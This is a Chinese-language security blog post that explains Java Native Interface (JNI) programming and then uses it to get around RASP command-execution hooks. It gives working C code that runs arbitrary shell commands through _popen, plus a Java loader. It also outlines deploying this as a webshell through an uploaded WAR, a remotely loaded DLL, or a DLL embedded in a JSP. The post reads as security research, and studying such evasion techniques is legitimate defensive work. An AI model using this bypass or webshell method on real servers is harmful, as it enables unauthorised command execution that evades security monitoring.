Java安全之JNI繞過RASP

nice_0e3發表於2020-12-01
Java

Java安全之JNI繞過RASP

0x00 前言

前面一直想看該JNI的相關內容，但是發現JNI的資料還是偏少。後面發現JNI在安全中應用非常的微妙，有意思。

0x01 JNI概述

JNI的全稱叫做（Java Native Interface），其作用就是讓我們的Java程式去呼叫C的程式。實際上呼叫的並不是exe程式，而是編譯好的dll動態連結庫裡面封裝的方法。因為Java是基於C語言去實現的，Java底層很多也會去使用JNI。

在開發中運用到的也是比較多，比如在前面分析鏈的時候，追溯到一些底層實現程式碼的時候就可以看到一些方法是使用Native 來修飾的。這就說明他是一個c語言去實現的一個方法。

0x02 JNI實現

來看到下面這張圖，該圖是實現JNI程式設計的具體路線

這裡我大致分為五步：

1. 定義一個native修飾的方法
2. 使用javah進行編譯 
3. 編寫對應的c語言程式碼
4. 使用gcc編譯成dll檔案
5. 編寫一個Java類使用System.loadLibrary方法，載入dll檔案並且呼叫

按照步驟來實現一下

  1. 定義一個native修飾的方法
package com.test;

public class Command {
    public native int sum(int num1,int num2);

}
  1. 使用javah進行編譯

首先使用javac編譯成class檔案

javac .\Command.java

然後使用javah生成c的標頭檔案，切換到src目錄下。後面發現其實可以不用編譯成class檔案。

JDK10移除了javah,需要改為javac加-h引數的方式生產標頭檔案，命令：

javac -cp . .\Command.java -h com.test.Command

然後執行命令

javah -cp . com.test.Command

這裡可以看到有個Java_com_test_Command_sum的字元，前面的Java是固定的字首，後面是類名，最後面的是該類中定義的方法。

而括號裡面的4個引數，第一個是JNI環境變數物件，第二個是Java呼叫的物件，這裡是jclass也就是一個class檔案。後面兩個則是傳入的引數並且是int型別的。

裡面的內容是javah基於剛剛的java程式碼自動生成的，不要輕易更改。在編寫c程式碼的時候，需要匯入該標頭檔案

  1. 編寫對應的c語言程式碼
#include "com_test_Command.h"
JNIEXPORT jint JNICALL Java_com_test_Command_sum
  (JNIEnv *env, jobject obj, jint num1, jint num2){
  return num1+num2;
  }
  void main(){}
  1. 使用gcc編譯成dll檔案
gcc -I "c:\ProgramFiles\Java\jdk1.7.0_75\include"  -I "c:\Program Files\Java\jdk1.7.0_75\include\win32"
    --shared JniClass.c
-o 1.dll

需要指定jdk的include和win32檔案

或者可以這麼寫

gcc -I"%JAVA_HOME%\include" -I"%JAVA_HOME%\include\win32" -shared -o cmd.dll com_anbai_sec_cmd_CommandExecution.c。

mac 編譯：

g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/darwin" -shared -o libcmd.jnilib com_anbai_sec_cmd_CommandExecution.cpp

linux編譯：

g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o libcmd.so com_anbai_sec_cmd_CommandExecution.cpp

g++是用來編譯c++的，均可使用。程式碼如果是c++寫的，就可以使用g++來編譯成dll一樣可以呼叫。

這裡先來編譯一下

gcc -I "D:\JAVA_JDK\include"  -I "D:\JAVA_JDK\include\win32" -shared -o cmd.dll .\Command.c

重新在IDEA裡面開啟專案，並編寫程式碼

package com.test;

public class test {


    public static void main(String[] args) {
        System.loadLibrary("cmd");
        Command command = new Command();
        int sum = command.sum(1, 2);
        System.out.println(sum);

    }
}

執行檢視結果，檢視是否能正常執行

然而這裡發現爆了個這樣的錯誤，在64位數的平臺不能去呼叫32位數的dll檔案，貌似是使用到了32位的gcc進行編譯導致呼叫報錯

發現自己安裝的是32位的gcc編譯只能編譯成32位的dll檔案，後面來使用gcc 64 位的就可以了。

再次編譯成gcc進行呼叫後，就可以進行執行。

到了這裡，就已經是呼叫了封裝好的dll動態連結庫檔案裡面封裝的方法了。

0x03 JNI 繞過RASP 執行命令

在RASP裡其實是Hook掉了一些Runtime、ProcessBuilder 等類，但是Runtime.exec呼叫的是ProcessBuilder.start,ProcessBuilder.start的底層會呼叫ProcessImpl類。那麼這時候只需要去Hook掉ProcessImpl就無法進行執行命令了。那麼像這種基於堆疊呼叫去識別的該怎麼去繞過呢？假設一個場景一個站點使用RASP，這時候如果上傳一個webshell

那麼這時候就會去用到JNI去呼叫該dll檔案就可以進行一個繞過，可以先來實現這麼一個功能，後續還需要考慮到的是怎麼將幾個檔案封裝到一起，打包成一個jsp檔案進行上傳。

首先還是需要在IDEA裡面先去實現功能，基於上面程式碼去做一個修改

Command類：

package com.test;

public class Command {
    public native String exec(String cmd);
}

編譯成.h c語言的標頭檔案,內容如下：

/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class com_test_Command */

#ifndef _Included_com_test_Command
#define _Included_com_test_Command
#ifdef __cplusplus
extern "C" {
#endif

JNIEXPORT jstring JNICALL Java_com_test_Command_exec
  (JNIEnv *, jobject, jstring);

#ifdef __cplusplus
}
#endif
#endif

編寫命令執行的C語言程式碼，由於不會C ，該段程式碼是網上找的

#include "com_test_Command.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int execmd(const char *cmd, char *result)
{
    char buffer[1024*12];              //定義緩衝區
    FILE *pipe = _popen(cmd, "r"); //開啟管道，並執行命令
    if (!pipe)
        return 0; //返回0表示執行失敗

    while (!feof(pipe))
    {
        if (fgets(buffer, 128, pipe))
        { //將管道輸出到result中
            strcat(result, buffer);
        }
    }
    _pclose(pipe); //關閉管道
    return 1;      //返回1表示執行成功
}
JNIEXPORT jstring JNICALL Java_com_test_Command_exec(JNIEnv *env, jobject class_object, jstring jstr)
{

    const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
    char result[1024 * 12] = ""; //定義存放結果的字串陣列
    if (1 == execmd(cstr, result))
    {
       // printf(result);
    }

    char return_messge[100] = "";
    strcat(return_messge, result);
    jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
    //system();

    return cmdresult;
}

使用命令將2個檔案編譯成dll動態連結庫

然後編寫Java程式碼載入dll檔案，呼叫C語言中封裝的方法

package com.test;

public class test {


    public static void main(String[] args) {

        System.loadLibrary("cmd");
        Command command = new Command();
        String ipconfig = command.exec("ipconfig");
        System.out.println(ipconfig);
    }

}

呼叫棧：

命令就執行成功了，這裡不是呼叫一些自帶的Runtime等方法，而是呼叫dll檔案中封裝的方法，能夠去繞過一些RASP的攔截。

目前我的設想是由兩種方式在現實場景中去進行一個使用，一個是將dll檔案都打包成一個war包，在一些tomcat管理後臺的位置上傳後，自動進行解壓釋放該dll檔案，然後使用jsp去呼叫該dll檔案，從而使得可以繞過執行命令。或者是可以使用遠端呼叫的方式，這樣就可以不用上傳dll檔案了， 這樣做的目的是一般上傳點之類的都不會允許dll檔案進行上傳。

還有一種方式是將dll檔案編碼後，內建到jsp中，執行的時候進行釋放到當前檔案目錄下，進行呼叫。

參考文章

https://cloud.tencent.com/developer/article/1541566
https://javasec.org/javase/JNI/

吹爆花貓大哥的Javasec文章，在Javasec的JNI文中用到的是c++來進行一個程式碼實現，實際效果差不多。具體的在本文中就不做實現。Javasec中有現成程式碼。

0x04 結尾

其實這種方式還是有辦法查殺到的，具體參考該篇文章：JNI程式設計怎麼跟蹤除錯dll。

相關文章